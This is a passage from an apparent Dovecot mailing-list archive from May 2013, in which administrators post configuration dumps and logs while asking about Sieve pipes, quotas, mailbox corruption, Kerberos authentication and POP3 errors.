somewhere? Thanks for your help and insight.

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[Dovecot] (no subject)
by Anes Mukhametov 17 May '13

17 May '13

Hello! I've tried to use extprograms pipe feature but stuck with "Broken pipe" errors in mail log: May 17 15:18:57 backend1 dovecot: lmtp(20338, user(a)domain.tld) Debug: 3VMVFWFKllFyTwAArRg8UA: sieve: action pipe: running program: learn May 17 15:18:57 backend1 dovecot: script: Error: write(response) failed: Broken pipe May 17 15:18:57 backend1 dovecot: lmtp(20338, user(a)domain.tld) 3VMVFWFKllFyTwAArRg8UA: sieve: execution of script /data/mail/storage/domain/user(a)domain.tld/.dovecot.sieve;name=main script failed, but implicit keep was successful (user logfile /data/mail/storage/domain/buser(a)domain.tld/.dovecot.sieve.log should reveal additional details) /data/mail/storage/domain/buser(a)domain.tld/.dovecot.sieve.log: error: msgid=<c7cd36f19be8164addf091a646b8b284(a)domain.tld>: pipe action: failed to pipe message to program `learn': refer to server log for more information. [2013-05-17 15:18:57] ham user(a)domain.tld 50796. Sieve script contents: require ["fileinto","copy","mailbox","vnd.dovecot.pipe"]; if anyof (header :is "Subject" "ham") { pipe :try "learn" ["ham"]; fileinto "INBOX/ham"; stop; } Sieve plugin config uncommented conents: sieve_plugins = sieve_extprograms *sieve_pipe_socket_dir = sieve-pipe* # Define the executed script as parameter to the sieve service executable = script /etc/dovecot/scripts/spam.sh # Use some unprivileged user for executing the program user = nobody # The unix socket located in the sieve_pipe_socket_dir (as defined in the # plugin {} section above) unix_listener sieve-pipe/learn { # LDA/LMTP must have access user = nobody mode = 0777 } } spam.sh is message processing script which interacts with spamassassin. I've tested pipe with spam.sh that redirects stdin to /dev/null and returns 0 but errors were logged anyway. Note that spam.sh runs, getting the message from sieve and processing it to spamassassin without a problem, but "broken pipe" is being logged.

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[Dovecot] Ubuntu-12.04-LTS repos with Dovecot-2.2 and Pigeonhole
by listas＠adminlinux.com.br 17 May '13

17 May '13

Hi, I would like to take advantage of new features in Dovecot 2.2 on my servers. But I'm having difficulties to build packages for Ubuntu-12.04-LTS. Does anyone know a repository that has new stable versions for Dovecot and Pigeonhole ? Thanks ! --  Thiago Henrique adminlinux.com.br

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Re: [Dovecot] question about /var/spool/mail/xxx
by Joseph Tam 17 May '13

17 May '13

Richard Feng@eBay writes: > this is Redhat 6.3 > I installed sendmail and dovecot. > but sendmail can continue send mail as MTA > all mails go to /var/spool/mail OK. > this is problem for dovecot. dovecot cannot get it goto dovecot inbox. > > if setup mailbox poing to /var/spool/mail/%u, it is workable I'm guessing that you're sending new mail to mbox formatted files in /var/spool/mail/%u (using dovecot LDA?). > but if set up maildir to somewhere else ,I cannot receive mail by dovecot. You lost me. How did you "set up maildir to somewhere else"? You ought to supply configurations (output of dovecot -n), and log entries of the problem. Joseph Tam <jtam.home(a)gmail.com>

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[Dovecot] Quota not working with dict proxy
by Chris Richards 16 May '13

16 May '13

Hello all, I'm sure this has been covered somewhere before, but my googlefu is not up to the challenge. Basically, I'm trying to configure quota plugin to use a dictionary service (specifically proxy with mysql) so that I can store the quota usage in a database and use that information in a lookup for postfix to reject mail if over quota. I'm doing this because postfix+avamis+dovecot setup with amavis re-injecting into postfix results in mail being effectively accepted before dovecot lmtp knows if mailbox is full. I'm currently using quota maildir: quota = maildir:User quota and this works; doveadm -Df tab quota get -u 'user@domain' Quota name Type Value Limit % User quota STORAGE 55388 204800 27 User quota MESSAGE 4883 - 0 When I use quota dict: quota = dict:User quota:%u:proxy::quota I get this: "doveadm -f tab quota get -u user@domain" Quota name Type Value Limit % User quota STORAGE 0 204800 0 User quota MESSAGE 0 - 0 So far so good. But manually setting database entry to values retrieved above with maildir quota results in this: Quota name Type Value Limit % User quota STORAGE 54 204800 0 User quota MESSAGE 4883 - 0 I'm guessing this is returning values in KB, so that makes sense, I guess. Attempting to recalc quota on one account using command: "doveadm -f tab quota recalc -u user@domain" returns with nothing, and when I repeat 'quota get' command, it says: doveadm(user@domain): Fatal: User doesn't exist Err............what?! Indeed, looking in the database shows the account in question was actually DELETED! Obviously, I've got something messed here, but I don't know what. I need some guidance here. Dovecot version is 2.1.12 Here is my config: # 2.1.12: /etc/dovecot/dovecot.conf # OS: Linux 3.7.5-hardened-r1 x86_64 Gentoo Base System release 2.1 ext4 auth_master_user_separator = * auth_mechanisms = plain login auth_username_chars = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@& auth_verbose_passwords = plain default_process_limit = 200 dict { quota = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext } disable_plaintext_auth = no login_greeting = Awaiting command... mail_location = maildir:/home/vmail/%d/%n/Maildir mail_plugins = " quota" mail_privileged_group = 100 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { expire = Trash 7 expire2 = Trash/* 7 expire3 = Spam 7 quota = dict:User quota:%u:proxy::quota quota_rule = *:storage=200M quota_warning = storage=99%% quota-warning 99 %n %d quota_warning2 = storage=95%% quota-warning 95 %n %d quota_warning3 = storage=80%% quota-warning 80 %n %d quota_warning4 = -storage=95%% quota-warning 'less than 95' %n %d sieve = ~/.dovecot.sieve sieve_default = /home/vmail/dovecot/sieve/default.sieve sieve_dir = ~/sieve sieve_global_dir = /home/vmail/dovecot/sieve } protocols = imap pop3 sieve lmtp service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = dovecot mode = 0666 user = dovecot } user = $default_internal_user } service dict { unix_listener dict { mode = 0600 user = vmail } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service quota-warning { executable = script /etc/dovecot/quota-warning.sh unix_listener quota-warning { user = vmail } user = dovecot } ssl_cert = </etc/ssl/dovecot/server.pem ssl_key = </etc/ssl/dovecot/server.key userdb { driver = prefetch } userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lmtp { mail_plugins = sieve quota postmaster_address = postmaster@domain } protocol lda { mail_plugins = " quota sieve quota" } protocol imap { mail_max_userip_connections = 20 mail_plugins = " quota quota imap_quota" } protocol pop3 { mail_plugins = " quota quota" } >From dovecot-dict-sql.conf.ext: connect = host=localhost dbname=maildb user=dbuser password=dbpass # CREATE TABLE quota ( # username varchar(100) not null, # bytes bigint not null default 0, # messages integer not null default 0, # primary key (username) # ); map { pattern = priv/quota/storage table = email username_field = address value_field = quota_bytes } map { pattern = priv/quota/messages table = email username_field = address value_field = quota_messages } # CREATE TABLE expires ( # username varchar(100) not null, # mailbox varchar(255) not null, # expire_stamp integer not null, # primary key (username, mailbox) # ); map { pattern = shared/expire/$user/$mailbox table = email value_field = expire_stamp fields { address = $user maildir = $mailbox } } Other than some guesswork, I've not got the FOGGIEST idea what the settings in the file actually mean; it doesn't seem to be documented anywhere. Also, the quota plugin settings, at least with respect to using a proxy service, don't seem to be real explanatory either, e.g. the reason I'm using %u for the user is because I stumbled across a post suggesting that leaving it blank would result in just getting the username instead of the username@domain. This is not at all obvious from the documentation, IMO. The docs would benefit greatly from some example use cases (no, I'm not volunteering; I'm TERRIBLE with documentation ;) ). Anyway, if someone could proffer some help or at least guidance here, I'd be very grateful.

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[Dovecot] dovecot 2.2.0 corrupts mailboxes?
by manu＠netbsd.org 16 May '13

16 May '13

Hi On april 17th, I upgraded from dovecot 2.1.13 to 2.2.0. Since that time, I had two different users that reported received three incident of messages that disapeared from their mailboxes. The mailbox format is mbox on local FFS filesystem (no NFS), and I use filesystem quotas (but both users are far from filling their quotas). When the message disapeared, it was always a whole rand of dates. On the last incident reported, the user also saw some message being duplicated many times. There is something interesting in the logs: May 4 20:16:30 volanges dovecot: imap(jdoe): Error: Cached message size smaller than expected (2000 < 8063) May 4 20:16:30 volanges dovecot: imap(jdoe): Error: Corrupted index cache file /mail/indexes/jdoe/.imap/INBOX/dovecot.index.cache: Broken physical size for mail UID 141869 May 4 20:19:48 volanges dovecot: imap(jdoe): Error: Cached message size smaller than expected (9711 < 16248) May 4 20:19:48 volanges dovecot: imap(jdoe): Error: Corrupted index cache file /mail/indexes/jdoe/mail/.imap/Arxiv/dovecot.index.cache: Broken physical size for mail UID 4383 May 4 21:14:35 volanges dovecot: imap(jdoe): Error: Cached message size smaller than expected (1878 < 8066) May 4 21:14:35 volanges dovecot: imap(jdoe): Error: Corrupted index cache file /mail/indexes/jdoe/mail/.imap/CNRS/dovecot.index.cache: Broken physical size for mail UID 290 May 4 21:15:17 volanges dovecot: imap(jdoe): Error: Cached message size smaller than expected (17285 < 24440) May 4 21:15:17 volanges dovecot: imap(jdoe): Error: Corrupted index cache file /mail/indexes/jdoe/mail/.imap/Commandes/dovecot.index.cache: Broken physical size for mail UID 680 Does that ring a bell? I am tempted to downgrade to 2.1.13. Does it makes sense? Is it safe to do so? -- Emmanuel Dreyfus http://hcpnet.free.fr/pubz manu(a)netbsd.org

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[Dovecot] [PATCH] example-config: fix to also distribute auth-dict.conf.ext in
by Christian Wiese 16 May '13

16 May '13

Hi, When trying to patch the dovecot 2.2.1 release with latest upstream patches I generated out of the repository, the patch fails to apply, because 'doc/example-config/conf.d/auth-dict.conf.ext' is not distributed within the release tarball. Attached patch should fix the issue. Cheers, Chris

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[Dovecot] quota with imapc
by pvsuja 16 May '13

16 May '13

Dear dovecot team, I have set up my mail system with a mail gateway connecting to mail server using imapc. Now I need my web mail client to show up the quota info. I enabled quota plugins in dovecot.conf. The problem is since all mails reside in the server, the web mail which is in mail gateway always shows the quota as 0. Is there any way the plugin will get quota info from the mail server? I am attaching my conf ## Dovecot configuration file in mail_uid = imapproxy mail_gid = imapproxy mail_home = /home/imapproxy/%u mail_location = imapc:~/imapc protocols = imap ## ## imapc settings ## imapc_host = mailserver.example.com imapc_port = 143 imapc_ssl = starttls imapc_ssl_ca_dir = /etc/postfix/certs ## ## auth settings ## auth_mechanisms = plain login passdb { driver = imap args = host=mailserver.example.com ssl=starttls ssl_ca_dir=/etc/postfix/certs default_fields = userdb_imapc_user=%u userdb_imapc_password=%w ssl=starttls } userdb { driver = prefetch } mail_plugins = $mail_plugins quota plugin { quota = maildir:User quota quota_rule = *:storage=200M } protocol imap { # Space separated list of plugins to load (default is global mail_plugins). mail_plugins = $mail_plugins imap_quota } ## ## SSL settings ## ssl = required disable_plaintext_auth = yes #verbose_ssl = yes ssl_cert = </etc/postfix/certs/public_cert.pem ssl_key = </etc/postfix/certs/private_key.pem ssl_cipher_list = ALL:!LOW:!SSLv2:!EXP:!aNULL Greetings. -- View this message in context: http://dovecot.2317879.n4.nabble.com/quota-with-imapc-tp42280.html Sent from the Dovecot mailing list archive at Nabble.com.

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[Dovecot] question about /var/spool/mail/xxx
by Richard Feng＠eBay 16 May '13

16 May '13

this is Redhat 6.3 I installed sendmail and dovecot. but sendmail can continue send mail as MTA all mails go to /var/spool/mail this is problem for dovecot. dovecot cannot get it goto dovecot inbox. if setup mailbox poing to /var/spool/mail/%u, it is workable but if set up maildir to somewhere else ,I cannot receive mail by dovecot.

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[Dovecot] Looking for a good way to manage passwords for CRAM-MD5
by Steinar Bang 15 May '13

15 May '13

I prefer not to use clear text passwords, even over an encrypted connection. With IMAP, the only such mechanism with widespread client support is CRAM-MD5 (please correct my if I'm wrong... I'd love to be corrected here...). On the dovecot 2 wiki, the only way I've found to implement CRAM-MD5 support, is to use a passwd-like file: http://wiki2.dovecot.org/HowTo/CRAM-MD5 I am running a small IMAP server used by my family. As long as I was the single user on the IMAPd, manually managing the passwd file as doable (if a bit cumbersome). With 2-5 users, I'm looking for a more elegant solution. Does anyone have a similar situation, and a solution they would like to share (config/HOWTO)? Here are the possibilities that comes to mind: 1. Create a web interface to change the password (does anyone know of a ready-made solution for this that they could recommend?) 2. Convince PAM to update the dovecot HMAC-MD5 password file as well as the regular system password file (my dovecot runs on a debian stable "wheezy" system. In theory this should be possible, but it is very hard to find documentation on what PAM modules exist, and how to write a new one, and if it is possible to chain modules in PAM, ie. use one module to update-this-passwd-file and then use a different module to update a different passwd file) 3. Use LDAP, which I think can also support CRAM-MD5 when using password lookups http://wiki2.dovecot.org/AuthDatabase/LDAP/PasswordLookups (learning how to set up LDAP is something I have avoided for years, because it looks awfully complex and time consuming) I haven't looked into using databases, SQL, or key-value store, because they seem like a more cumbersome way to do the same thing as passwd files. But I am aware that this assumption could be wrong. It could e.g. be easier to make the web interface idea work with a database manager, than messing around with setuid bits to safely update a passwd file owned and touchable only by the dovecot user. Thanks for any and all responses! - Steinar

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[Dovecot] dovecot 2.0 -> 2.1 sieve problem
by Trever L. Adams 15 May '13

15 May '13

I had a completely working setup before. I upgraded, now I get: Error: 7LUaNYqHklG6EAAApwKjnA: sieve: execution of script (null) failed, but implicit keep was successful sieve = /home/vmail/%Ld/%Ln/.dovecot.sieve sieve_dir = /home/vmail/%Ld/%Ln/sieve (this was ~/sieve) I am not quite sure what is going on. Is anyone else seeing this? Any idea on what has changed? (I am not readily seeing it in changelogs or mailing lists.) Thank you, Trever -- "A right is not what someone gives you; it's what no one can take from you." -- Ramsey Clark

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[Dovecot] 2.2.1 and quota-status
by Christian Rößner 15 May '13

15 May '13

Hi, maybe this question already came up and I missed it in my mails, but if not… : I have configured Quota for Dovecot since decades and now with the new policy service, I wanted to include this into Postfix. I have followed Ralf's Blog and there a two Problems: I need to do this: ls -la /var/run/dovecot/config srw------- 1 root root 0 May 14 11:06 /var/run/dovecot/config chown vmail /var/run/dovecot/config ls -la /var/run/dovecot/config srw------- 1 vmail root 0 May 14 11:06 /var/run/dovecot/config Where can I tell Dovecot to set user vmail here? If I do not do this, I get the following error in the logs: May 14 10:54:50 mx0 dovecot: quota-status(c(a)roessner-network-solutions.com): Error: user c(a)roessner-network-solutions.com: Error reading configuration: net_connect_unix(/var/run/dovecot/config) failed: Permission denied Also the following test does not succeed: telnet localhost 12340 Trying ::1... Connected to localhost. Escape character is '^]'. request=smtpd_access_policy sender=foo(a)bar.tld recipient=c(a)roessner-network-solutions.com size=10000000000 action= ^] telnet> quit Connection closed. Nothing in the logs. Just an empty answer. Here is my config: doveconf -n # 2.2.1: /etc/dovecot/dovecot.conf # OS: Linux 3.8.6-hardened x86_64 Gentoo Base System release 2.2 auth_master_user_separator = * auth_mechanisms = plain login cram-md5 digest-md5 ntlm auth_verbose = yes hostname = mail.roessner-net.de lda_mailbox_autosubscribe = yes mail_access_groups = vmail mail_attachment_dir = /var/mail/virtual/copymail/attachments mail_gid = vmail mail_location = mdbox:~/mdbox mail_plugins = quota acl fts fts_solr zlib mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave mdbox_rotate_size = 128 M namespace { list = children location = mdbox:%%h/mdbox prefix = shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox "Deleted Messages" { special_use = \Trash } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk-E-Mail { special_use = \Junk } mailbox Junk { special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } mailbox junkmail { auto = subscribe special_use = \Junk } prefix = separator = / type = private } passdb { args = /etc/dovecot/master-users driver = passwd-file master = yes pass = yes } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { acl = vfile acl_shared_dict = file:/var/mail/virtual/shared-mailboxes.db fts = solr fts_solr = break-imap-search url=http://localhost:8080/solr/ quota = dict:User quota::file:%h/mdbox/dovecot-quota quota_rule = *:storage=300M:messages=20000 quota_status_nouser = DUNNO quota_status_overquota = 552 5.2.2 Mailbox is full quota_status_success = DUNNO quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve zlib_save = gz zlib_save_level = 6 } protocols = imap pop3 lmtp sieve service auth-worker { extra_groups = ssl-cert unix_listener auth-worker { mode = 0600 user = vmail } user = vmail } service auth { extra_groups = ssl-cert unix_listener auth-userdb { mode = 0600 user = vmail } user = vmail } service dict { unix_listener dict { mode = 0600 user = vmail } } service lmtp { unix_listener /var/spool/postfix/private/lmtp-dovecot { group = postfix mode = 0666 user = postfix } } service quota-status { client_limit = 1 executable = quota-status -p postfix inet_listener { port = 12340 } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { user = vmail } user = dovecot } ssl_ca = </etc/ssl/certs/SSL123_CA_Bundle.pem ssl_cert = </etc/ssl/certs/mail.roessner-net.de.pem ssl_key = </etc/ssl/private/mail.roessner-net.de.key.pem userdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } verbose_proctitle = yes protocol lmtp { mail_plugins = quota acl fts fts_solr zlib sieve } protocol lda { mail_plugins = quota acl fts fts_solr zlib sieve } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep tb-lsub-flags mail_max_userip_connections = 50 mail_plugins = quota acl fts fts_solr zlib imap_quota imap_acl imap_zlib } Thanks for helping me… Kind regards -Christian Rößner -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

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[Dovecot] Crossrealm Kerberos problems
by Jonathan Hanks 15 May '13

15 May '13

I am running dovecot 2.1.7 on Debian Squeeze 64 bit, config information at the end of the email. I am working on a Kerberos/GSSAPI based setup that requires cross-realm authentication. I have regular GSSAPI working, I can log in using pam_krb5 with password based logins or with the GSSAPI support when using a kerberos ticket in the default realm. However when I attempt to authenticate using cross realm authentication the login fails (logs below). After perusing the source code I beleive that the problem is as such: All taking place in mech-gssapi.c 1. mech_gssapi_userok(...) calls mech_gssapi_krb5_userok 2. mech_gssapi_krb5_userok(...) calls krb5_kuserok(...) to verify that the given Kerberos prinicpal can log in as the requested user. 3. The authentication process is running as the Dovecot user so: 3a. krb5_kuserok(...) looks for ~dovecot/.k5login to authorize cross realm logins 3b. There is no ~dovecot/.k5login, thus no cross realm access is allowed 3c. It should be looking at the users .k5login ~poptest/.k5login 3d. This never happens and the login attempt fails I have the server set up to use system users specifically so that I can do cross-realm authentication. Do I have some basic configuration error? How do I change the authentication process to run as the user requesting to login? Should that be allowed? Another thought is to backport some of the patches proposed for 2.2 that remove krb5_kuserok from the loop. Thank you for any insight. This server is not in production use so I can experiment. May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: gssapi(jonathan.hanks(a)SOME.REALM,198.129.xxx.xxx,<qYAkv0zc9wDGgdAT>): Negotiated security layer May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: gssapi(jonathan.hanks(a)SOME.REALM,198.129.xxx.xxx,<qYAkv0zc9wDGgdAT>): Negotiated security layer May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: client out: CONT#0111#011BQQF/wAMAAAAAAAACpxNKQH///+YdY3lGMDBq6TWTfc= May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: client out: CONT#0111#011BQQF/wAMAAAAAAAACpxNKQH///+YdY3lGMDBq6TWTfc= May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: client in: CONT<hidden> May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: Debug: client in: CONT<hidden> May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: gssapi(jonathan.hanks(a)SOME.REALM,198.129.xxx.xxx,<qYAkv0zc9wDGgdAT>): User not authorized to log in as poptest May 9 10:54:49 lakeview.ligo-wa.caltech.edu dovecot: auth: gssapi(jonathan.hanks(a)SOME.REALM,198.129.xxx.xxx,<qYAkv0zc9wDGgdAT>): User not authorized to log in as poptest My config is as follows: # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 auth_debug = yes auth_gssapi_hostname = $ALL auth_krb5_keytab = /etc/mail.keytab auth_mechanisms = plain login gssapi auth_username_format = %u auth_verbose = yes listen = * mail_location = mbox:~/mail:INBOX=/var/spool/mail/inbox/%u mail_privileged_group = mail passdb { args = dovecot driver = pam } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { mode = 0666 } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = </etc/ssl/certs/mail-server.pem ssl_cipher_list = !aNULL:!eNULL:!EXPORT:!DSS:!DES:RC4-SHA:RC4-MD5:ALL ssl_key = </etc/ssl/private/mail-server.pem userdb { driver = passwd } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep tb-lsub-flags } protocol pop3 { pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_uidl_format = %08Xu%08Xv } -- Jonathan Hanks General Computing Sys Admin LIGO Hanford Observatory

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[Dovecot] Fatal: Can't finish POP3 UIDL command
by stevenfah 15 May '13

15 May '13

I have been setting up a new mail server and copied our client's old mail to it. The old server has Courier (under Plesk), we're using Dovecot on the new server. Most accounts seem to work fine (under IMAP or POP3), but for a few we're getting the following in the /var/log/mail.err. Error: Message ordering changed unexpectedly (msg #1: storage seq 140 -> 1) Fatal: Can't finish POP3 UIDL command And the affected accounts can't get at their email. Things work ok if people switch to IMAP but for some of our clients that is a difficulty, so we really need POP3 working. I used the Perl script given here to convert the mailboxes. The only fix we've found is the rename/delete the Dovecot-uidlist file for the affected mailboxes and we've done that, as it was only a few. The issue now is that more mailboxes are coming with the same error, even though they were fine originally. -- View this message in context: http://dovecot.2317879.n4.nabble.com/Fatal-Can-t-finish-POP3-UIDL-command-t… Sent from the Dovecot mailing list archive at Nabble.com.

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[Dovecot] quota-related crash for doveadm dsync operation
by Emmanuel Dreyfus 15 May '13

15 May '13

Hi I understand the crash below is caused by filesystem quota. I just report it because perhaps it could have a more graceful failure. Apr 29 09:39:17 danceny dovecot: dsync-local(jdoe): Error: Mailbox Sent: Saving failed: Not enough disk space Apr 29 09:39:17 danceny syslogd[165]: last message repeated 4 times Apr 29 09:39:17 danceny dovecot: doveadm: Error: dsync-remote(jdoe): Error: Cached message size smaller than expected (35111 < 40830) Apr 29 09:39:17 danceny dovecot: doveadm: Error: dsync-remote(jdoe): Error: Corrupted index cache file /mail/indexes/jdoe/.imap/Sent/dovecot.index.cache: Broken physical size for mail UID 976 Apr 29 09:39:17 danceny dovecot: doveadm: Error: dsync-remote(jdoe): Error: dsync(local): read(/home/pct/jdoe/mail/Sent) failed: Invalid argument Apr 29 09:39:17 danceny dovecot: dsync-local(jdoe): Error: dsync(root(a)volanges.net.espci.fr): read() failed: Broken pipe Apr 29 09:39:17 danceny dovecot: dsync-local(jdoe): Panic: file mail-storage.c: line 1830 (mailbox_transaction_commit_get_changes): assertion failed: (ret < 0 || seq_range_count(&changes_r->saved_uids) == save_count || array_count(&changes_r->saved_uids) == 0) Apr 29 09:39:17 danceny dovecot: dsync-local(jdoe): Fatal: master: service(doveadm): child 23443 killed with signal 6 (core not dumped - set service doveadm { drop_priv_before_exec=yes }) -- Emmanuel Dreyfus manu(a)netbsd.org

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[Dovecot] Lucene and Zlib with 2.2.1
by Kyle Wheeler 15 May '13

15 May '13

Hello, I have an "archive" folder in my inbox, where I manually stick old mails into a compressed mbox format. Since upgrading to Dovecot 2.2.1, I've started seeing messages like the following in my log files: imap(...): Error: lucene: Failed to sync mailbox INBOX: Mailbox isn't selectable indexer-worker(...): Error: lucene: Failed to sync mailbox INBOX: Mailbox isn't selectable indexer-worker(...): Error: lucene: Failed to sync mailbox INBOX: Mailbox isn't selectable indexer-worker(...): Error: lucene: Failed to sync mailbox INBOX: Mailbox isn't selectable imap(...): Error: indexer failed to index mailbox INBOX/Archive/2007/Sent.gz These errors *appear* to be mostly benign; I still get results from searching the mailbox. But for whatever reason, the indexer appears to not be working for those folders. As you can probably tell, I'm using the fts_lucene plugin, which used to work just fine (with Dovecot 2.1.x). Is this expected behavior? Are these errors truly ignorable? Why are these compressed mailboxes not selectable? ~Kyle -- Where justice is denied, where poverty is enforced, where ignorance prevails, and where any one class is made to feel that society is an organized conspiracy to oppress, rob and degrade them, neither persons nor property will be safe. -- Frederick Douglas

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[Dovecot] Xlist in userdb, Foldernames with whitespace?
by Hajo Locke 15 May '13

15 May '13

Hello, i use dovecot 2.1.7 and exported all my XLIST FolderSettings to userdb Whole Story is here: http://dovecot.org/list/dovecot/2013-March/089209.html This is all successful, but there is one problem left. I use lines like this to realize individual XLIST Foldernames in usedb: namespace/inbox/mailbox=Sent namespace/inbox/mailbox/Sent/name=Sent namespace/inbox/mailbox/Sent/auto=subscribe namespace/inbox/mailbox/Sent/special_use=\sent My problem is to allow Foldernames with whitespace in it f.e. Sent Messages I tried to put these names in quotes in this line or mask the blank with backslash but nothing was working. Dovecot ist not accepting these settings: dovecot: imap: Debug: Added userdb setting: namespace/inbox/mailbox="Sent Messages" dovecot: imap: Debug: Unknown userdb setting: plugin/namespace/inbox/mailbox/"Sent Messages"/auto=subscribe dovecot: imap: Debug: Unknown userdb setting: plugin/namespace/inbox/mailbox/"Sent Messages"/name="Sent Messages" dovecot: imap: Debug: Unknown userdb setting: plugin/namespace/inbox/mailbox/"Sent Messages"/special_use=\sent How to code folders with whitespace etc. in my userdb settings? I tried a lot but nothing was correct. Thanks, Hajo

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[Dovecot] protocols and privileges
by andreas graeper 15 May '13

15 May '13

hi, 1) protocols = pop3 but when starting the service, output tells about imap. when mua fetches mails ~/mail/.imap/INDEX is created. 2) i have some users uid=500 .. 505. src in /var/mail/%u, owner is <user>.mail and home-directories /home/<user> - owner is <user>.users when dovecot tries to create directory /home/<user>/mail then it tells for user xyz (uid = 502) euid=502(xyz) egid=100(users) missing +w permission /home/xyz , euid is not dir owner. but /home/xyz is owned by xyz.users and mod = 0700 ( drwx------ ) same environment for uid = 501 works great ! thanks in advance andreas ? permission lookup from /home/xyz/mail failed do i have to create that mail directory manually ?

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[Dovecot] dovecot 2.2.1: lmtp running in base_dir
by Andy R 15 May '13

15 May '13

Evening all, I'm running into an issue with lmtp trying to store user mail in 'base_dir' ( same as this ( http://www.dovecot.org/list/dovecot/2011-January/056736.html )) however I'm just using PAM for auth. I've tried with chroot, without chroot and 'chroot'ing lmtp directly in ' service lmtp { } ' which just lead to lots more errors. I've not included anything of the current config so far, as I don't know what is needed here yet. I'm sure I'm missing something obvious, but I can't spot it for the life of me. Can anyone offer any new ideas? Many thanks Andy R.

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[Dovecot] Dovecot 2.2.1 subscribtion status in LIST
by Nikolay S. 15 May '13

15 May '13

Hi there, I am using Evolution to connect to dovecot imap server. Today the server was upgraded to 2.2.1 from 2.1.9, and there is problem with evolution being unable to subscribe to INBOX. This is from dovecot 2.1.9: a002 list "" "*" return (subscribed) * LIST (\Subscribed) "." "Sent Items" * LIST (\Subscribed) "." "Junk E-mail" * LIST (\Subscribed) "." "Trash" * LIST (\Subscribed) "." "Archive" * LIST (\Subscribed) "." "Drafts" * LIST (\Subscribed) "." "INBOX" <--- And this is from 2.2.1: a002 list "" "*" return (subscribed) * LIST (\Subscribed) "." "Sent Items" * LIST (\Subscribed) "." "Junk E-mail" * LIST (\Subscribed) "." Trash * LIST (\Subscribed) "." Archive * LIST (\Subscribed) "." Drafts * LIST () "." INBOX <--- a002 OK List completed. a002 lsub "" "*" * LSUB () "." Drafts * LSUB () "." "Sent Items" * LSUB () "." Archive * LSUB () "." Trash * LSUB () "." INBOX <--- * LSUB () "." "Junk E-mail" a002 OK Lsub completed. In 2.2.1 LIST does not show INBOX as subscribed, which looks to confuse evolution. INBOX is actually subscribed: cat <path-to-maildir>/subscriptions Drafts Sent Items Archive Trash INBOX Junk E-mail

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[Dovecot] IMAP SSL proxy (questions)
by Trever L. Adams 15 May '13

15 May '13

Hello everyone, I have seen: http://wiki.dovecot.org/HowTo/ImapProxy. It doesn't seem to fit what I need. Unfortunately, I cannot use TLS. I have to use SSL. Also, I would rather not duplicate the certificates for the IMAP servers. Hence nginx doesn't seem to be a good choice either. I am hoping that since SSL has "Client Hello" which specifies the site requested the the following could be done: Client - > Proxy [SYN] Proxy -> Client [SYN, ACK] Client -> Proxy [ACK] Client -> Proxy [SSL With "Client Hello", having server_name in Extension: server_name and sub-fields] Proxy sees intended host Proxy <-> Intended Server [SYN/SYN+ACK/ACK sequence] Proxy -> Intended Server [Replay SSL/Client Hello] Client <-> Proxy <-> Intended Server (Proxy is non decrypting Man-in-the-Middle, just acting as a pseudo-invisible relay) I know that something somewhat like this works because this is how Apache can do virtual hosts with SSL. Of course, it acts as the end point intended server, not a proxy. I believe it is also somewhat how Squid does SSL proxying, although I could be entirely wrong. Is this possible? Can this be implemented in dovecot? If not, does anyone know of such a project. Proxy needs to not have any exploitable holes and really only needs to understand enough SSL to get the server_name, pass through the connection, replaying Client Hello, and then knowing when to shut the connection. Just as a breif example, the use I have for this now is that I have several imap servers which all have IPv6 addresses, but have to share an IPv4 address. for SMTP side of things, this works well for all incoming email. (As an 